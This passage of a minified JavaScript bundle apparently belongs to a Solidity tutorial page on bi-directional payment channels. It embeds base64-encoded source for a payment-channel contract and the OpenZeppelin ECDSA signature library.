gIG1vZGlmaWVyIG9ubHlVc2VyKCkgewogICAgICAgIHJlcXVpcmUoaXNVc2VyW21zZy5zZW5kZXJdLCAiTm90IHVzZXIiKTsKICAgICAgICBfOwogICAgfQoKICAgIGZ1bmN0aW9uIGNoYWxsZW5nZUV4aXQoCiAgICAgICAgdWludDI1NlsyXSBtZW1vcnkgX2JhbGFuY2VzLAogICAgICAgIHVpbnQyNTYgX25vbmNlLAogICAgICAgIGJ5dGVzWzJdIG1lbW9yeSBfc2lnbmF0dXJlcwogICAgKQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlVc2VyCiAgICAgICAgY2hlY2tTaWduYXR1cmVzKF9zaWduYXR1cmVzLCBfYmFsYW5jZXMsIF9ub25jZSkKICAgICAgICBjaGVja0JhbGFuY2VzKF9iYWxhbmNlcykKICAgIHsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA8IGV4cGlyZXNBdCwgIkV4cGlyZWQgY2hhbGxlbmdlIHBlcmlvZCIpOwogICAgICAgIHJlcXVpcmUoX25vbmNlID4gbm9uY2UsICJOb25jZSBtdXN0IGJlIGdyZWF0ZXIgdGhhbiB0aGUgY3VycmVudCBub25jZSIpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBfYmFsYW5jZXMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgYmFsYW5jZXNbdXNlcnNbaV1dID0gX2JhbGFuY2VzW2ldOwogICAgICAgIH0KCiAgICAgICAgbm9uY2UgPSBfbm9uY2U7CiAgICAgICAgZXhwaXJlc0F0ID0gYmxvY2sudGltZXN0YW1wICsgY2hhbGxlbmdlUGVyaW9kOwoKICAgICAgICBlbWl0IENoYWxsZW5nZUV4aXQobXNnLnNlbmRlciwgbm9uY2UpOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KCkgcHVibGljIG9ubHlVc2VyIHsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBibG9jay50aW1lc3RhbXAgPj0gZXhwaXJlc0F0LCAiQ2hhbGxlbmdlIHBlcmlvZCBoYXMgbm90IGV4cGlyZWQgeWV0IgogICAgICAgICk7CgogICAgICAgIHVpbnQyNTYgYW1vdW50ID0gYmFsYW5jZXNbbXNnLnNlbmRlcl07CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gPSAwOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IGFtb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CgogICAgICAgIGVtaXQgV2l0aGRyYXcobXNnLnNlbmRlciwgYW1vdW50KTsKICAgIH0KfQo="},{fileName:"ECDSA.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIE9wZW5aZXBwZWxpbiBDb250cmFjdHMgKGxhc3QgdXBkYXRlZCB2NC41LjApICh1dGlscy9jcnlwdG9ncmFwaHkvRUNEU0Euc29sKQoKbGlicmFyeSBFQ0RTQSB7CiAgICBlbnVtIFJlY292ZXJFcnJvciB7CiAgICAgICAgTm9FcnJvciwKICAgICAgICBJbnZhbGlkU2lnbmF0dXJlLAogICAgICAgIEludmFsaWRTaWduYXR1cmVMZW5ndGgsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVMsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVYKICAgIH0KCiAgICBmdW5jdGlvbiBfdGhyb3dFcnJvcihSZWNvdmVyRXJyb3IgZXJyb3IpIHByaXZhdGUgcHVyZSB7CiAgICAgICAgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5Ob0Vycm9yKSB7CiAgICAgICAgICAgIHJldHVybjsgLy8gbm8gZXJyb3I6IGRvIG5vdGhpbmcKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKSB7CiAgICAgICAgICAgIHJldmVydCgiRUNEU0E6IGludmFsaWQgc2lnbmF0dXJlIik7CiAgICAgICAgfSBlbHNlIGlmIChlcnJvciA9PSBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZUxlbmd0aCkgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlUykgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAncycgdmFsdWUiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlVikgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAndicgdmFsdWUiKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdHJ5UmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzIG1lbW9yeSBzaWduYXR1cmUpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcywgUmVjb3ZlckVycm9yKQogICAgewogICAgICAgIC8vIENoZWNrIHRoZSBzaWduYXR1cmUgbGVuZ3RoCiAgICAgICAgLy8gLSBjYXNlIDY1OiByLHMsdiBzaWduYXR1cmUgKHN0YW5kYXJkKQogICAgICAgIC8vIC0gY2FzZSA2NDogcix2cyBzaWduYXR1cmUgKGNmIGh0dHBzOi8vZWlwcy5ldGhlcmV1bS5vcmcvRUlQUy9laXAtMjA5OCkgX0F2YWlsYWJsZSBzaW5jZSB2NC4xLl8KICAgICAgICBpZiAoc2lnbmF0dXJlLmxlbmd0aCA9PSA2NSkgewogICAgICAgICAgICBieXRlczMyIHI7CiAgICAgICAgICAgIGJ5dGVzMzIgczsKICAgICAgICAgICAgdWludDggdjsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgcyA6PSBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDQwKSkKICAgICAgICAgICAgICAgIHYgOj0gYnl0ZSgwLCBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDYwKSkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICAgICAgfSBlbHNlIGlmIChzaWduYXR1cmUubGVuZ3RoID09IDY0KSB7CiAgICAgICAgICAgIGJ5dGVzMzIgcjsKICAgICAgICAgICAgYnl0ZXMzMiB2czsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgdnMgOj0gbWxvYWQoYWRkKHNpZ25hdHVyZSwgMHg0MCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVMZW5ndGgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZSkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgc2lnbmF0dXJlKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0cnlSZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMzMiByLCBieXRlczMyIHZzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MsIFJlY292ZXJFcnJvcikKICAgIHsKICAgICAgICBieXRlczMyIHMgPSB2cwogICAgICAgICAgICAmIGJ5dGVzMzIoCiAgICAgICAgICAgICAgICAweDdmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmYKICAgICAgICAgICAgKTsKICAgICAgICB1aW50OCB2ID0gdWludDgoKHVpbnQyNTYodnMpID4+IDI1NSkgKyAyNyk7CiAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzMzIgciwgYnl0ZXMzMiB2cykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIF90aHJvd0Vycm9yKGVycm9yKTsKICAgICAgICByZXR1cm4gcmVjb3ZlcmVkOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyeVJlY292ZXIoYnl0ZXMzMiBoYXNoLCB1aW50OCB2LCBieXRlczMyIHIsIGJ5dGVzMzIgcykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzLCBSZWNvdmVyRXJyb3IpCiAgICB7CiAgICAgICAgLy8gRUlQLTIgc3RpbGwgYWxsb3dzIHNpZ25hdHVyZSBtYWxsZWFiaWxpdHkgZm9yIGVjcmVjb3ZlcigpLiBSZW1vdmUgdGhpcyBwb3NzaWJpbGl0eSBhbmQgbWFrZSB0aGUgc2lnbmF0dXJlCiAgICAgICAgLy8gdW5pcXVlLiBBcHBlbmRpeCBGIGluIHRoZSBFdGhlcmV1bSBZZWxsb3cgcGFwZXIgKGh0dHBzOi8vZXRoZXJldW0uZ2l0aHViLmlvL3llbGxvd3BhcGVyL3BhcGVyLnBkZiksIGRlZmluZXMKICAgICAgICAvLyB0aGUgdmFsaWQgcmFuZ2UgZm9yIHMgaW4gKDMwMSk6IDAgPCBzIDwgc2VjcDI1NmsxbiDDtyAyICsgMSwgYW5kIGZvciB2IGluICgzMDIpOiB2IOKIiCB7MjcsIDI4fS4gTW9zdAogICAgICAgIC8vIHNpZ25hdHVyZXMgZnJvbSBjdXJyZW50IGxpYnJhcmllcyBnZW5lcmF0ZSBhIHVuaXF1ZSBzaWduYXR1cmUgd2l0aCBhbiBzLXZhbHVlIGluIHRoZSBsb3dlciBoYWxmIG9yZGVyLgogICAgICAgIC8vCiAgICAgICAgLy8gSWYgeW91ciBsaWJyYXJ5IGdlbmVyYXRlcyBtYWxsZWFibGUgc2lnbmF0dXJlcywgc3VjaCBhcyBzLXZhbHVlcyBpbiB0aGUgdXBwZXIgcmFuZ2UsIGNhbGN1bGF0ZSBhIG5ldyBzLXZhbHVlCiAgICAgICAgLy8gd2l0aCAweEZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZFQkFBRURDRTZBRjQ4QTAzQkJGRDI1RThDRDAzNjQxNDEgLSBzMSBhbmQgZmxpcCB2IGZyb20gMjcgdG8gMjggb3IKICAgICAgICAvLyB2aWNlIHZlcnNhLiBJZiB5b3VyIGxpYnJhcnkgYWxzbyBnZW5lcmF0ZXMgc2lnbmF0dXJlcyB3aXRoIDAvMSBmb3IgdiBpbnN0ZWFkIDI3LzI4LCBhZGQgMjcgdG8gdiB0byBhY2NlcHQKICAgICAgICAvLyB0aGVzZSBtYWxsZWFibGUgc2lnbmF0dXJlcyBhcyB3ZWxsLgogICAgICAgIGlmICgKICAgICAgICAgICAgdWludDI1NihzKQogICAgICAgICAgICAgICAgPiAweDdGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGNUQ1NzZFNzM1N0E0NTAxRERGRTkyRjQ2NjgxQjIwQTAKICAgICAgICApIHsKICAgICAgICAgICAgcmV0dXJuIChhZGRyZXNzKDApLCBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZVMpOwogICAgICAgIH0KICAgICAgICBpZiAodiAhPSAyNyAmJiB2ICE9IDI4KSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVWKTsKICAgICAgICB9CgogICAgICAgIC8vIElmIHRoZSBzaWduYXR1cmUgaXMgdmFsaWQgKGFuZCBub3QgbWFsbGVhYmxlKSwgcmV0dXJuIHRoZSBzaWduZXIgYWRkcmVzcwogICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZWNyZWNvdmVyKGhhc2gsIHYsIHIsIHMpOwogICAgICAgIGlmIChzaWduZXIgPT0gYWRkcmVzcygwKSkgewogICAgICAgICAgICByZXR1cm4gKGFkZHJlc3MoMCksIFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiAoc2lnbmVyLCBSZWNvdmVyRXJyb3IuTm9FcnJvcik7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIHVpbnQ4IHYsIGJ5dGVzMzIgciwgYnl0ZXMzMiBzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgKGFkZHJlc3MgcmVjb3ZlcmVkLCBSZWNvdmVyRXJyb3IgZXJyb3IpID0gdHJ5UmVjb3ZlcihoYXNoLCB2LCByLCBzKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKGJ5dGVzMzIgaGFzaCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIC8vIDMyIGlzIHRoZSBsZW5ndGggaW4gYnl0ZXMgb2YgaGFzaCwKICAgICAgICAvLyBlbmZvcmNlZCBieSB0aGUgdHlwZSBzaWduYXR1cmUgYWJvdmUKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKCJceDE5RXRoZXJldW0gU2lnbmVkIE1lc3NhZ2U6XG4zMiIsIGhhc2gpCiAgICAgICAgKTsKICAgIH0KfQo="}],hj=`

Bi-directional payment channels allow participants Alice and Bob to repeatedly transfer Ether off chain.

+`,cj=({prev:s,next:a})=>r.jsx(A,{version:aj,title:nj,description:lj,html:ej,prev:s,next:a,codes:pj}),tj="0.8.24",oj="Bi-Directional Payment Channel",rj="An example of bi-directional payment channels in Solidity",ij=[{fileName:"BiDirectionalPaymentChannel.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKLyoKT3BlbmluZyBhIGNoYW5uZWwKMS4gQWxpY2UgYW5kIEJvYiBmdW5kIGEgbXVsdGktc2lnIHdhbGxldAoyLiBQcmVjb21wdXRlIHBheW1lbnQgY2hhbm5lbCBhZGRyZXNzCjMuIEFsaWNlIGFuZCBCb2IgZXhjaGFuZ2VzIHNpZ25hdHVyZXMgb2YgaW5pdGlhbCBiYWxhbmNlcwo0LiBBbGljZSBhbmQgQm9iIGNyZWF0ZXMgYSB0cmFuc2FjdGlvbiB0aGF0IGNhbiBkZXBsb3kgYSBwYXltZW50IGNoYW5uZWwgZnJvbQogICB0aGUgbXVsdGktc2lnIHdhbGxldAoKVXBkYXRlIGNoYW5uZWwgYmFsYW5jZXMKMS4gUmVwZWF0IHN0ZXBzIDEgLSAzIGZyb20gb3BlbmluZyBhIGNoYW5uZWwKMi4gRnJvbSBtdWx0aS1zaWcgd2FsbGV0IGNyZWF0ZSBhIHRyYW5zYWN0aW9uIHRoYXQgd2lsbAogICAtIGRlbGV0ZSB0aGUgdHJhbnNhY3Rpb24gdGhhdCB3b3VsZCBoYXZlIGRlcGxveWVkIHRoZSBvbGQgcGF5bWVudCBjaGFubmVsCiAgIC0gYW5kIHRoZW4gY3JlYXRlIGEgdHJhbnNhY3Rpb24gdGhhdCBjYW4gZGVwbG95IGEgcGF5bWVudCBjaGFubmVsIHdpdGggdGhlCiAgICAgbmV3IGJhbGFuY2VzCgpDbG9zaW5nIGEgY2hhbm5lbCB3aGVuIEFsaWNlIGFuZCBCb2IgYWdyZWUgb24gdGhlIGZpbmFsIGJhbGFuY2UKMS4gRnJvbSBtdWx0aS1zaWcgd2FsbGV0IGNyZWF0ZSBhIHRyYW5zYWN0aW9uIHRoYXQgd2lsbAogICAtIHNlbmQgcGF5bWVudHMgdG8gQWxpY2UgYW5kIEJvYgogICAtIGFuZCB0aGVuIGRlbGV0ZSB0aGUgdHJhbnNhY3Rpb24gdGhhdCB3b3VsZCBoYXZlIGNyZWF0ZWQgdGhlIHBheW1lbnQgY2hhbm5lbAoKQ2xvc2luZyBhIGNoYW5uZWwgd2hlbiBBbGljZSBhbmQgQm9iIGRvIG5vdCBhZ3JlZSBvbiB0aGUgZmluYWwgYmFsYW5jZXMKMS4gRGVwbG95IHBheW1lbnQgY2hhbm5lbCBmcm9tIG11bHRpLXNpZwoyLiBjYWxsIGNoYWxsZW5nZUV4aXQoKSB0byBzdGFydCB0aGUgcHJvY2VzcyBvZiBjbG9zaW5nIGEgY2hhbm5lbAozLiBBbGljZSBhbmQgQm9iIGNhbiB3aXRoZHJhdyBmdW5kcyBvbmNlIHRoZSBjaGFubmVsIGlzIGV4cGlyZWQKKi8KCmNvbnRyYWN0IEJpRGlyZWN0aW9uYWxQYXltZW50Q2hhbm5lbCB7CiAgICB1c2luZyBFQ0RTQSBmb3IgYnl0ZXMzMjsKCiAgICBldmVudCBDaGFsbGVuZ2VFeGl0KGFkZHJlc3MgaW5kZXhlZCBzZW5kZXIsIHVpbnQyNTYgbm9uY2UpOwogICAgZXZlbnQgV2l0aGRyYXcoYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50MjU2IGFtb3VudCk7CgogICAgYWRkcmVzcyBwYXlhYmxlWzJdIHB1YmxpYyB1c2VyczsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBib29sKSBwdWJsaWMgaXNVc2VyOwoKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmFsYW5jZXM7CgogICAgdWludDI1NiBwdWJsaWMgY2hhbGxlbmdlUGVyaW9kOwogICAgdWludDI1NiBwdWJsaWMgZXhwaXJlc0F0OwogICAgdWludDI1NiBwdWJsaWMgbm9uY2U7CgogICAgbW9kaWZpZXIgY2hlY2tCYWxhbmNlcyh1aW50MjU2WzJdIG1lbW9yeSBfYmFsYW5jZXMpIHsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBhZGRyZXNzKHRoaXMpLmJhbGFuY2UgPj0gX2JhbGFuY2VzWzBdICsgX2JhbGFuY2VzWzFdLAogICAgICAgICAgICAiYmFsYW5jZSBvZiBjb250cmFjdCBtdXN0IGJlID49IHRvIHRoZSB0b3RhbCBiYWxhbmNlIG9mIHVzZXJzIgogICAgICAgICk7CiAgICAgICAgXzsKICAgIH0KCiAgICAvLyBOT1RFOiBkZXBvc2l0IGZyb20gbXVsdGktc2lnIHdhbGxldAogICAgY29uc3RydWN0b3IoCiAgICAgICAgYWRkcmVzcyBwYXlhYmxlWzJdIG1lbW9yeSBfdXNlcnMsCiAgICAgICAgdWludDI1NlsyXSBtZW1vcnkgX2JhbGFuY2VzLAogICAgICAgIHVpbnQyNTYgX2V4cGlyZXNBdCwKICAgICAgICB1aW50MjU2IF9jaGFsbGVuZ2VQZXJpb2QKICAgICkgcGF5YWJsZSBjaGVja0JhbGFuY2VzKF9iYWxhbmNlcykgewogICAgICAgIHJlcXVpcmUoX2V4cGlyZXNBdCA+IGJsb2NrLnRpbWVzdGFtcCwgIkV4cGlyYXRpb24gbXVzdCBiZSA+IG5vdyIpOwogICAgICAgIHJlcXVpcmUoX2NoYWxsZW5nZVBlcmlvZCA+IDAsICJDaGFsbGVuZ2UgcGVyaW9kIG11c3QgYmUgPiAwIik7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IF91c2Vycy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIHBheWFibGUgdXNlciA9IF91c2Vyc1tpXTsKCiAgICAgICAgICAgIHJlcXVpcmUoIWlzVXNlclt1c2VyXSwgInVzZXIgbXVzdCBiZSB1bmlxdWUiKTsKICAgICAgICAgICAgdXNlcnNbaV0gPSB1c2VyOwogICAgICAgICAgICBpc1VzZXJbdXNlcl0gPSB0cnVlOwoKICAgICAgICAgICAgYmFsYW5jZXNbdXNlcl0gPSBfYmFsYW5jZXNbaV07CiAgICAgICAgfQoKICAgICAgICBleHBpcmVzQXQgPSBfZXhwaXJlc0F0OwogICAgICAgIGNoYWxsZW5nZVBlcmlvZCA9IF9jaGFsbGVuZ2VQZXJpb2Q7CiAgICB9CgogICAgZnVuY3Rpb24gdmVyaWZ5KAogICAgICAgIGJ5dGVzWzJdIG1lbW9yeSBfc2lnbmF0dXJlcywKICAgICAgICBhZGRyZXNzIF9jb250cmFjdCwKICAgICAgICBhZGRyZXNzWzJdIG1lbW9yeSBfc2lnbmVycywKICAgICAgICB1aW50MjU2WzJdIG1lbW9yeSBfYmFsYW5jZXMsCiAgICAgICAgdWludDI1NiBfbm9uY2UKICAgICkgcHVibGljIHB1cmUgcmV0dXJucyAoYm9vbCkgewogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IF9zaWduYXR1cmVzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIC8qCiAgICAgICAgICAgIE5PVEU6IHNpZ24gd2l0aCBhZGRyZXNzIG9mIHRoaXMgY29udHJhY3QgdG8gcHJvdGVjdAogICAgICAgICAgICAgICAgICBhZ2FpbnMgcmVwbGF5IGF0dGFjayBvbiBvdGhlciBjb250cmFjdHMKICAgICAgICAgICAgKi8KICAgICAgICAgICAgYm9vbCB2YWxpZCA9IF9zaWduZXJzW2ldCiAgICAgICAgICAgICAgICA9PSBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfY29udHJhY3QsIF9iYWxhbmNlcywgX25vbmNlKSkKICAgICAgICAgICAgICAgICAgICAudG9FdGhTaWduZWRNZXNzYWdlSGFzaCgpLnJlY292ZXIoX3NpZ25hdHVyZXNbaV0pOwoKICAgICAgICAgICAgaWYgKCF2YWxpZCkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBtb2RpZmllciBjaGVja1NpZ25hdHVyZXMoCiAgICAgICAgYnl0ZXNbMl0gbWVtb3J5IF9zaWduYXR1cmVzLAogICAgICAgIHVpbnQyNTZbMl0gbWVtb3J5IF9iYWxhbmNlcywKICAgICAgICB1aW50MjU2IF9ub25jZQogICAgKSB7CiAgICAgICAgLy8gTm90ZTogY29weSBzdG9yYWdlIGFycmF5IHRvIG1lbW9yeQogICAgICAgIGFkZHJlc3NbMl0gbWVtb3J5IHNpZ25lcnM7CiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgdXNlcnMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgc2lnbmVyc1tpXSA9IHVzZXJzW2ldOwogICAgICAgIH0KCiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgdmVyaWZ5KF9zaWduYXR1cmVzLCBhZGRyZXNzKHRoaXMpLCBzaWduZXJzLCBfYmFsYW5jZXMsIF9ub25jZSksCiAgICAgICAgICAgICJJbnZhbGlkIHNpZ25hdHVyZSIKICAgICAgICApOwoKICAgICAgICBfOwogICAgfQoKICAgIG1vZGlmaWVyIG9ubHlVc2VyKCkgewogICAgICAgIHJlcXVpcmUoaXNVc2VyW21zZy5zZW5kZXJdLCAiTm90IHVzZXIiKTsKICAgICAgICBfOwogICAgfQoKICAgIGZ1bmN0aW9uIGNoYWxsZW5nZUV4aXQoCiAgICAgICAgdWludDI1NlsyXSBtZW1vcnkgX2JhbGFuY2VzLAogICAgICAgIHVpbnQyNTYgX25vbmNlLAogICAgICAgIGJ5dGVzWzJdIG1lbW9yeSBfc2lnbmF0dXJlcwogICAgKQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlVc2VyCiAgICAgICAgY2hlY2tTaWduYXR1cmVzKF9zaWduYXR1cmVzLCBfYmFsYW5jZXMsIF9ub25jZSkKICAgICAgICBjaGVja0JhbGFuY2VzKF9iYWxhbmNlcykKICAgIHsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA8IGV4cGlyZXNBdCwgIkV4cGlyZWQgY2hhbGxlbmdlIHBlcmlvZCIpOwogICAgICAgIHJlcXVpcmUoX25vbmNlID4gbm9uY2UsICJOb25jZSBtdXN0IGJlIGdyZWF0ZXIgdGhhbiB0aGUgY3VycmVudCBub25jZSIpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBfYmFsYW5jZXMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgYmFsYW5jZXNbdXNlcnNbaV1dID0gX2JhbGFuY2VzW2ldOwogICAgICAgIH0KCiAgICAgICAgbm9uY2UgPSBfbm9uY2U7CiAgICAgICAgZXhwaXJlc0F0ID0gYmxvY2sudGltZXN0YW1wICsgY2hhbGxlbmdlUGVyaW9kOwoKICAgICAgICBlbWl0IENoYWxsZW5nZUV4aXQobXNnLnNlbmRlciwgbm9uY2UpOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KCkgcHVibGljIG9ubHlVc2VyIHsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBibG9jay50aW1lc3RhbXAgPj0gZXhwaXJlc0F0LCAiQ2hhbGxlbmdlIHBlcmlvZCBoYXMgbm90IGV4cGlyZWQgeWV0IgogICAgICAgICk7CgogICAgICAgIHVpbnQyNTYgYW1vdW50ID0gYmFsYW5jZXNbbXNnLnNlbmRlcl07CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gPSAwOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IGFtb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CgogICAgICAgIGVtaXQgV2l0aGRyYXcobXNnLnNlbmRlciwgYW1vdW50KTsKICAgIH0KfQo="},{fileName:"ECDSA.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIE9wZW5aZXBwZWxpbiBDb250cmFjdHMgKGxhc3QgdXBkYXRlZCB2NC41LjApICh1dGlscy9jcnlwdG9ncmFwaHkvRUNEU0Euc29sKQoKbGlicmFyeSBFQ0RTQSB7CiAgICBlbnVtIFJlY292ZXJFcnJvciB7CiAgICAgICAgTm9FcnJvciwKICAgICAgICBJbnZhbGlkU2lnbmF0dXJlLAogICAgICAgIEludmFsaWRTaWduYXR1cmVMZW5ndGgsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVMsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVYKICAgIH0KCiAgICBmdW5jdGlvbiBfdGhyb3dFcnJvcihSZWNvdmVyRXJyb3IgZXJyb3IpIHByaXZhdGUgcHVyZSB7CiAgICAgICAgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5Ob0Vycm9yKSB7CiAgICAgICAgICAgIHJldHVybjsgLy8gbm8gZXJyb3I6IGRvIG5vdGhpbmcKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKSB7CiAgICAgICAgICAgIHJldmVydCgiRUNEU0E6IGludmFsaWQgc2lnbmF0dXJlIik7CiAgICAgICAgfSBlbHNlIGlmIChlcnJvciA9PSBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ